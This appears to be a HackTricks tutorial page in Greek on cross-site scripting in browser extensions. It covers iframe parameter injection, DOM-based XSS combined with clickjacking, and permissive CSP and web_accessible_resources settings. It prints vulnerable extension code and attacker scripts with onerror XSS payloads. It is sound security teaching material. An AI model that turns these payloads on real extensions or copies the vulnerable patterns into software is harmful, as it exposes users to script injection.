10 KiB
BrowExt - Παράδειγμα XSS
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Cross-Site Scripting (XSS) μέσω Iframe
Σε αυτήν την ρύθμιση, ένα script περιεχομένου υλοποιείται για να δημιουργήσει ένα Iframe, ενσωματώνοντας ένα URL με παραμέτρους ερωτήματος ως πηγή του Iframe:
chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});
Μια δημόσια προσβάσιμη σελίδα HTML, message.html
, έχει σχεδιαστεί για να προσθέτει δυναμικά περιεχόμενο στο σώμα του εγγράφου βάσει των παραμέτρων στο URL:
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});
Ένα κακόβουλο script εκτελείται σε μια σελίδα του αντιπάλου, τροποποιώντας την παράμετρο content
της πηγής του Iframe για να εισαγάγει ένα XSS payload. Αυτό επιτυγχάνεται ενημερώνοντας την πηγή του Iframe για να περιλαμβάνει ένα επιβλαβές script:
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;
document.querySelector("iframe").src = maliciousURL;
}, 1000);
Ένα υπερβολικά επιτρεπτικό πολιτικής ασφαλείας περιεχομένου όπως:
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
επιτρέπει την εκτέλεση του JavaScript, καθιστώντας το σύστημα ευάλωτο σε επιθέσεις XSS.
Μια εναλλακτική προσέγγιση για να προκαλέσετε το XSS περιλαμβάνει τη δημιουργία ενός στοιχείου Iframe και την ρύθμιση της πηγής του για να περιλαμβάνει το επιβλαβές script ως παράμετρο content
.
let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);
DOM-based XSS + ClickJacking
Αυτό το παράδειγμα προέρχεται από το αρχικό άρθρο για το θέμα.
Το πρόβλημα προκύπτει από μια ευπάθεια DOM-based Cross-site Scripting (XSS) που βρίσκεται στο /html/bookmarks.html
. Το προβληματικό JavaScript, που ανήκει στο bookmarks.js
, περιγράφεται παρακάτω:
$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;
var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});
Αυτό το απόσπασμα ανακτά την τιμή από το πεδίο εισαγωγής txtName
και χρησιμοποιεί συνένωση συμβολοσειρών για τη δημιουργία HTML, το οποίο στη συνέχεια προστίθεται στο DOM χρησιμοποιώντας τη λειτουργία .append()
του jQuery.
Συνήθως, η πολιτική ασφαλείας του Content Security Policy (CSP) της επέκτασης του Chrome θα αποτρέπει τέτοιες ευπάθειες. Ωστόσο, λόγω της χαλάρωσης του CSP με το 'unsafe-eval' και της χρήσης των μεθόδων DOM manipulation του jQuery (που χρησιμοποιούν την globalEval()
για να περάσουν σενάρια στην eval()
κατά την εισαγωγή στο DOM), η εκμετάλλευση είναι εξακολουθεί να είναι δυνατή.
Αν και αυτή η ευπάθεια είναι σημαντική, η εκμετάλλευσή της εξαρτάται συνήθως από την αλληλεπίδραση του χρήστη: επίσκεψη στη σελίδα, εισαγωγή ενός XSS payload και ενεργοποίηση του κουμπιού "Προσθήκη".
Για να ενισχυθεί αυτή η ευπάθεια, εκμεταλλεύεται μια δευτερεύουσα ευπάθεια clickjacking. Το αρχείο προσαρτημένων πόρων της επέκτασης του Chrome παρουσιάζει μια εκτεταμένη πολιτική web_accessible_resources
:
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
Ειδικά, η σελίδα /html/bookmarks.html
είναι ευάλωτη στο framing, και επομένως ευάλωτη στο clickjacking. Αυτή η ευπάθεια χρησιμοποιείται για να πλαισιώσει τη σελίδα μέσα στον ιστότοπο ενός επιτιθέμενου, επικαλύπτοντάς την με DOM στοιχεία για να ανασχεδιάσει απατηλά τη διεπαφή. Αυτή η παραπλάνηση οδηγεί τα θύματα να αλληλεπιδρούν ακούσια με την υποκείμενη επέκταση.
Αναφορές
- https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/
- https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/
Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε The PEASS Family, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.